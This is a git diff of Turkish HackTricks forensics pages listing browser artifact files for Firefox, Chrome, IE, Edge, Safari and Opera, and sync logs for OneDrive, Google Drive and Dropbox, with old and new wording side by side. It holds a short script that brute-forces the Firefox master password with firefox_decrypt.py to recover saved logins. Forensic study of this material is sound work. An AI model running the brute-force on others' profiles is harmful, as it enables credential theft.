Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Tarayıcı Araçları <a href="#id-3def" id="id-3def"></a> ## Tarayıcı Kalıntıları <a href="#id-3def" id="id-3def"></a>
Tarayıcı araçları, web tarayıcıları tarafından depolanan çeşitli veri türlerini içerir. Bu araçlar, gezinme geçmişi, yer imleri ve önbellek verileri gibi verileri içeren işletim sistemi içindeki belirli klasörlerde saklanır. Tarayıcılara göre konum ve isim açısından farklılık gösterse de genellikle benzer veri türlerini depolarlar. Tarayıcı kalıntıları, web tarayıcıları tarafından depolanan çeşitli veri türlerini içerir; gezinme geçmişi, yer imleri ve önbellek verileri gibi. Bu kalıntılar işletim sistemi içinde belirli klasörlerde saklanır, tarayıcılara göre konum ve ad farklı olabilir, ancak genellikle benzer veri türlerini depolarlar.
İşte en yaygın tarayıcı araçlarının özeti: İşte en yaygın tarayıcı kalıntılarının özeti:
- **Gezinme Geçmişi**: Kullanıcının web sitelerini ziyaretlerini takip eder, kötü amaçlı sitelere yapılan ziyaretleri belirlemek için kullanışlıdır.
- **Otomatik Tamamlama Verileri**: Sık aramalara dayalı öneriler, gezinme geçmişiyle birleştirildiğinde bilgi sağlar.
- **Yer İmleri**: Kullanıcının hızlı erişim için kaydettiği siteler.
- **Eklentiler ve Ek Paketler**: Kullanıcı tarafından yüklenen tarayıcı eklentileri veya ek paketler.
- **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) web sitesi yükleme sürelerini iyileştirmek için depolar, adli analiz için değerlidir.
- **Oturum Açma Bilgileri**: Kaydedilen oturum açma kimlik bilgileri.
- **Favikonlar**: Sekmelerde ve yer imlerinde görünen web siteleriyle ilişkilendirilen simgeler, kullanıcı ziyaretleri hakkında ek bilgi sağlar.
- **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler.
- **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları.
- **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik tamamlama önerileri için kaydedilir.
- **Küçük Resimler**: Web sitelerinin önizleme görüntüleri.
- **Custom Dictionary.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler.
* **Gezinme Geçmişi**: Kullanıcının web sitelerini ziyaretlerini takip eder, kötü amaçlı sitelere ziyaretleri tanımlamak için faydalıdır.
* **Otomatik Tamamlama Verileri**: Sık aramalara dayalı öneriler, gezinme geçmişi ile birleştirildiğinde içgörüler sunar.
* **Yer İmleri**: Kullanıcı tarafından hızlı erişim için kaydedilen siteler.
* **Uzantılar ve Eklentiler**: Kullanıcı tarafından yüklenen tarayıcı uzantıları veya eklentileri.
* **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklar, web sitesi yükleme sürelerini iyileştirmek için değerli bir araştırma analizi aracıdır.
* **Girişler**: Saklanan giriş kimlik bilgileri.
* **Favikonlar**: Sitelerle ilişkilendirilen simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgiler için faydalıdır.
* **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler.
* **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları.
* **Form Verileri**: Web formlarına girilen bilgiler, gelecekte otomatik doldurma önerileri için kaydedilir.
* **Küçük Resimler**: Web sitelerinin önizleme görüntüleri.
* **Özel Sözlük.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler.
## Firefox ## Firefox
Firefox, kullanıcı verilerini profiller içinde düzenler ve işletim sistemine bağlı olarak belirli konumlarda depolar: Firefox, kullanıcı verilerini işletim sistemine bağlı olarak belirli konumlarda depolanan profiller içinde düzenler:
- **Linux**: `~/.mozilla/firefox/` * **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Bu dizinlerdeki `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` dosyasının bulunduğu dizindeki `Path` değişkenine adı verilen bir klasörde depolanır. Bir profil klasörü eksikse, silinmiş olabilir. Bu dizinlerdeki `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` dosyasının bulunduğu dizindeki `Path` değişkeninde adlandırılan bir klasörde saklanır. Bir profil klasörü eksikse, silinmiş olabilir.
Her profil klasörü içinde, birkaç önemli dosya bulunur: Her profil klasöründe, birkaç önemli dosya bulabilirsiniz:
- **places.sqlite**: Geçmiş, yer imleri ve indirmeleri depolar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gibi araçlar geçmiş verilerine erişebilir. * **places.sqlite**: Geçmişi, yer imlerini ve indirmeleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gibi araçlar geçmiş verilerine erişebilir.
- Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorgularını kullanın. * Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorgularını kullanın.
- **bookmarkbackups**: Yer imi yedeklerini içerir. * **bookmarkbackups**: Yer imlerinin yedeklerini içerir.
- **formhistory.sqlite**: Web formu verilerini depolar. * **formhistory.sqlite**: Web formu verilerini saklar.
- **handlers.json**: Protokol işleyicilerini yönetir. * **handlers.json**: Protokol işleyicilerini yönetir.
- **persdict.dat**: Özel sözlük kelimeleri. * **persdict.dat**: Özel sözlük kelimeleri.
- **addons.json** ve **extensions.sqlite**: Yüklenen eklentiler ve ek paketler hakkında bilgi. * **addons.json** ve **extensions.sqlite**: Yüklenen eklenti ve uzantı bilgileri.
- **cookies.sqlite**: Çerez depolama, Windows'ta [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) ile incelenebilir. * **cookies.sqlite**: Çerez depolama, Windows'ta inceleme için [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) kullanılabilir.
- **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) gibi araçlarla erişilebilir. * **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) gibi araçlar aracılığıyla erişilebilir.
- **favicons.sqlite**: Favikonları depolar. * **favicons.sqlite**: Favikonları saklar.
- **prefs.js**: Kullanıcı ayarları ve tercihleri. * **prefs.js**: Kullanıcı ayarları ve tercihleri.
- **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'a entegre edilmiştir. * **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'a entegre edilmiştir.
- **thumbnails**: Web sitesi küçük resimleri. * **thumbnails**: Web sitesi küçük resimleri.
- **logins.json**: Şifreli oturum açma bilgileri. * **logins.json**: Şifrelenmiş giriş bilgileri.
- **key4.db** veya **key3.db**: Hassas bilgileri korumak için şifreleme anahtarlarını depolar. * **key4.db** veya **key3.db**: Hassas bilgileri güvence altına alan şifreleme anahtarlarını saklar.
Ek olarak, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` dosyasında `browser.safebrowsing` girişlerini arayabilirsiniz. Bu girişler, güvenli gezinme özelliklerinin etkin veya devre dışı olup olmadığını gösterir. Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` dosyasında `browser.safebrowsing` girişlerini arayarak güvenli gezinme özelliklerinin etkin veya devre dışı bırakılıp bırakılmadığını kontrol edebilirsiniz.
Ana şifreyi çözmek için şu adresten [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) yararlanabilirsiniz\
Ana şifreyi çözmek için [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) adresini kullanabilirsiniz.\ Aşağıdaki betik ve çağrı ile kaba kuvvetle bir şifre dosyası belirleyebilirsiniz:
Aşağıdaki betik ve çağrı ile bir şifre dosyası belirterek brute force yapabilirsiniz:
{% code title="brute.sh" %} {% code title="brute.sh" %}
```bash ```bash
@ -87,10 +85,6 @@ echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py echo "$pass" | python firefox_decrypt.py
done < $passfile done < $passfile
``` ```
{% endcode %}
![](<../../../.gitbook/assets/image (417).png>)
## Google Chrome ## Google Chrome
Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirli konumlarda saklar: Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirli konumlarda saklar:
@ -99,52 +93,57 @@ Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirl
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Bu dizinlerde, kullanıcı verilerinin çoğu **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Aşağıdaki dosyalar önemli verileri içerir: Bu dizinlerde, kullanıcı verilerinin çoğu **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Önemli verileri içeren aşağıdaki dosyalar bulunmaktadır:
- **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta, geçmişi okumak için [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) kullanılabilir. "Transition Type" sütunu, kullanıcının bağlantılara tıklamaları, yazılan URL'ler, form gönderimleri ve sayfa yenilemeleri gibi çeşitli anlamlara sahiptir. - **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta, geçmişi okumak için [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) kullanılabilir. "Transition Type" sütunu, kullanıcıların bağlantılara tıklamalarını, yazılan URL'leri, form gönderimlerini ve sayfa yenilemelerini içerir.
- **Cookies**: Çerezleri saklar. İncelemek için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) kullanılabilir. - **Cookies**: Çerezleri saklar. İncelemek için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) kullanılabilir.
- **Cache**: Önbelleğe alınmış verileri saklar. Windows kullanıcıları, [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) aracını kullanabilir. - **Cache**: Önbelleğe alınmış verileri saklar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) kullanabilir.
- **Bookmarks**: Kullanıcı yer imleri. - **Bookmarks**: Kullanıcı yer imleri.
- **Web Data**: Form geçmişini içerir. - **Web Data**: Form geçmişini içerir.
- **Favicons**: Web sitesi faviconlarını saklar. - **Favicons**: Web sitesi faviconlarını saklar.
- **Login Data**: Kullanıcı adları ve şifreler gibi giriş kimlik bilgilerini içerir. - **Login Data**: Kullanıcı adları ve şifreler gibi giriş kimlik bilgilerini içerir.
- **Current Session**/**Current Tabs**: Geçerli gezinme oturumu ve açık sekmeler hakkında veriler. - **Current Session**/**Current Tabs**: Geçerli gezinme oturumu ve açık sekmeler hakkında veriler.
- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgi. - **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturum sırasında aktif olan siteler hakkında bilgi.
- **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler. - **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler.
- **Thumbnails**: Web sitesi küçük resimlerini saklar. - **Thumbnails**: Web sitesi minik resimlerini saklar.
- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren bilgi açısından zengin bir dosya. - **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren zengin bir dosya.
- **Tarayıcının yerleşik anti-phishing özelliği**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` ifadesini arayın. - **Tarayıcının yerleşik anti-phishing'i**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın.
## **SQLite DB Veri Kurtarma** ## **SQLite DB Veri Kurtarma**
Önceki bölümlerde gözlemleyebileceğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanlarını kullanır. Silinen girişleri kurtarmak mümkündür ve bunun için [**sqlparse**](https://github.com/padfoot999/sqlparse) **veya** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) aracı kullanılabilir. Önceki bölümlerde gözlemleyebileceğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanlarını kullanır. Silinmiş girişleri kurtarmak için [**sqlparse**](https://github.com/padfoot999/sqlparse) veya [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) gibi araçlar kullanılabilir.
## **Internet Explorer 11** ## **Internet Explorer 11**
Internet Explorer 11, depolanan bilgileri ve ilgili ayrıntıları kolay erişim ve yönetim için çeşitli konumlarda yönetir. Internet Explorer 11, depolanan bilgileri ve ilgili ayrıntıları kolay erişim ve yönetim için farklı konumlarda yönetir.
### Metadata Depolama ### Metadata Depolama
Internet Explorer için metadata `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) dosyasında saklanır. Buna ek olarak, `V01.log` dosyası `WebcacheVX.data` ile değişiklik zamanı uyumsuzlukları gösterebilir, bu da `esentutl /r V01 /d` kullanarak onarım gerektiğini gösterir. Bu ESE veritabanında saklanan metadata, sırasıyla photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin depolandığı belirli tabloları veya konteynerleri belirlemek mümkündür. Bu, Skype gibi diğer Microsoft araçları için önbellek ayrıntılarını içerir.
Internet Explorer için metadata `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) içinde saklanır. Buna ek olarak, `V01.log` dosyası, `WebcacheVX.data` ile değişiklik zamanı uyumsuzluklarını gösterebilir, bu da `esentutl /r V01 /d` kullanarak onarım gerektiğini gösterebilir. Bu ESE veritabanında bulunan metadata, photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin depolandığı belirli tabloları veya konteynerleri ayırt edebilirsiniz, Skype gibi diğer Microsoft araçları için önbellek ayrıntılarını içerir.
### Önbellek İnceleme ### Önbellek İnceleme
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) aracı, önbelleği incelemek için kullanılır ve önbellek veri çıkarma klasör konumunu gerektirir. Önbellek için metadata, dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesine olanak tanır, önbellek veri çıkarma klasör konumunu gerektirir. Önbellek için metadata, dosya adı, dizin, erişim sayısı, URL kökeni ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
### Çerez Yönetimi ### Çerez Yönetimi
Çerezler [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir ve metadata, isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili ayrıntıları içerir. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` dizininde saklanırken, oturum çerezleri bellekte bulunur.
Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir, metadata isimleri, URL'ler, erişim sayıları ve çeşitli zamanla ilgili ayrıntıları içerir. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte saklanır.
### İndirme Ayrıntıları ### İndirme Ayrıntıları
İndirme metadata'sı [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracıyla erişilebilir ve belirli konteynerler, URL, dosya türü ve indirme konumu gibi verileri içerir. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir.
İndirme metadata'sı [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) ile erişilebilir, belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri içerir. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir.
### Gezinti Geçmişi ### Gezinti Geçmişi
Gezinti geçmişini incelemek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kullanılabilir. Bu, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki metadata, değiştirme ve erişim zamanları ile erişim sayılarını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` dizininde bulunur.
Gezinti geçmişini incelemek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) kullanılabilir, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki metadata, değiştirme ve erişim zamanları ile erişim sayılarını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde bulunur.
### Yazılan URL'ler ### Yazılan URL'ler
Yazılan URL'ler ve kullanım zamanları, `NTUSER.DAT` altında `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` altında kaydedilir. Bu, kullanıcının girdiği son 50 URL'yi ve son giriş zamanlarını takip eder.
Yazılan URL'ler ve kullanım zamanları, kullanıcı tarafından girilen son 50 URL'yi ve son giriş zamanlarını takip eden `NTUSER.DAT` altında `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` içinde saklanır.
## Microsoft Edge ## Microsoft Edge
Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` dizininde saklar. Farklı veri türleri için yol şunlardır: Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Farklı veri türleri için yollar şunlardır:
- **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` - **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@ -154,10 +153,26 @@ Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` di
## Safari ## Safari
Safari verileri `/Users/$User/Library/Safari` dizin Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar şunları içerir:
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni alın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
</details> - **History.db**: URL'leri ve ziyaret zamanlarını içeren `history_visits` ve `history_items` tablolarını içerir. Sorgulamak için `sqlite3` kullanın.
- **Downloads.plist**: İndirilen dosyalar hakkında bilgi.
- **Bookmarks.plist**: Yer imlerini saklar.
- **TopSites.plist**: En sık ziyaret edilen siteler.
- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın.
- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın.
- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın.
- **Tarayıcının yerleşik anti-phishing'i**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı özelliğin etkin olduğunu gösterir.
## Opera
Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde saklanır ve Chrome'un geçmiş ve indirme formatını paylaşır.
- **Tarayıcının yerleşik anti-phishing'i**: `fraud_protection_enabled`in `true` olarak ayarlandığını kontrol ederek doğrulayın, bunu `grep` kullanarak yapabilirsiniz.
Bu yollar ve komutlar, farklı web tarayıcıları tarafından depolanan gezinme verilerine erişmek ve anlamak için önemlidir.
* Eğer **şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'larınızı göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.

View file

@ -2,135 +2,135 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın * [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. * **Hacking püf noktalarınızı HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive ## OneDrive
Windows'ta, OneDrive klasörünü `\Users\<kullanıcıadı>\AppData\Local\Microsoft\OneDrive` dizininde bulabilirsiniz. Ve içinde `logs\Personal` klasöründe senkronize edilen dosyalarla ilgili bazı ilginç veriler içeren `SyncDiagnostics.log` dosyasını bulmak mümkündür: Windows'ta, OneDrive klasörünü `\Users\<kullanıcıadı>\AppData\Local\Microsoft\OneDrive` inde bulabilirsiniz. Ve içinde `logs\Personal` klasöründe senkronize edilen dosyalarla ilgili bazı ilginç veriler içeren `SyncDiagnostics.log` dosyasını bulabilirsiniz:
* Bayt cinsinden boyut * Bayt cinsinden boyut
* Oluşturma tarihi * Oluşturma tarihi
* Değiştirme tarihi * Değiştirme tarihi
* Bulutta bulunan dosyaların sayısı * Bulutta bulunan dosya sayısı
* Klasörde bulunan dosyaların sayısı * Klasörde bulunan dosya sayısı
* **CID**: OneDrive kullanıcısının benzersiz kimliği * **CID**: OneDrive kullanıcısının benzersiz kimliği
* Rapor oluşturma zamanı * Rapor oluşturma zamanı
* İşletim sistemi HD'nin boyutu * İşletim sisteminin HD boyutu
CID'yi bulduktan sonra, bu kimliği içeren dosyaları **aramanız önerilir**. OneDrive ile senkronize edilen dosyaların adlarını içeren _**\<CID>.ini**_ ve _**\<CID>.dat**_ adında dosyalar bulabilirsiniz. CID'yi bulduktan sonra **bu kimliği içeren dosyaları aramanız önerilir**. _**\<CID>.ini**_ ve _**\<CID>.dat**_ adında dosyalar bulabilir ve bu dosyalarda OneDrive ile senkronize edilen dosyaların adlarını içerebilecek ilginç bilgiler bulabilirsiniz.
## Google Drive ## Google Drive
Windows'ta, ana Google Drive klasörünü `\Users\<kullanıcıadı>\AppData\Local\Google\Drive\user_default` dizininde bulabilirsiniz.\ Windows'ta, ana Google Drive klasörünü `\Users\<kullanıcıadı>\AppData\Local\Google\Drive\user_default` inde bulabilirsiniz.\
Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 karma değerleri vb. gibi bilgileri içeren Sync\_log.log adlı bir dosya içerir. Silinen dosyalar bile ilgili MD5 ile birlikte bu günlük dosyasında görünür. Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 karma değerleri vb. gibi bilgiler içeren Sync\_log.log adlı bir dosyayı içerir. Silinmiş dosyalar bile, ilgili MD5 değeriyle birlikte o log dosyasında görünür.
**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda senkronize edilen dosyaların **adı**, **değiştirilme zamanı**, **boyutu** ve **MD5 karma değeri** bulunabilir. **`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda **senkronize edilen dosyaların adı**, değiştirilme zamanı, boyut ve dosyaların MD5 karma değeri bulunabilir.
Veritabanının **`Sync_config.db`** tablo verileri, hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir. Veritabanının **`Sync_config.db`** tablo verileri hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir.
## Dropbox ## Dropbox
Dropbox, dosyaları yönetmek için **SQLite veritabanlarını** kullanır. Bu\ Dropbox, dosyaları yönetmek için **SQLite veritabanları** kullanır. Bu\
Veritabanlarını şu klasörlerde bulabilirsiniz: Veritabanlarını şu klasörlerde bulabilirsiniz:
* `\Users\<kullanıcıadı>\AppData\Local\Dropbox` * `\Users\<kullanıcıadı>\AppData\Local\Dropbox`
* `\Users\<kullanıcıadı>\AppData\Local\Dropbox\Instance1` * `\Users\<kullanıcıadı>\AppData\Local\Dropbox\Instance1`
* `\Users\<kullanıcıadı>\AppData\Roaming\Dropbox` * `\Users\<kullanıcıadı>\AppData\Roaming\Dropbox`
Ve ana veritabanaları şunlardır: Ve ana veritabanları şunlardır:
* Sigstore.dbx * Sigstore.dbx
* Filecache.dbx * Filecache.dbx
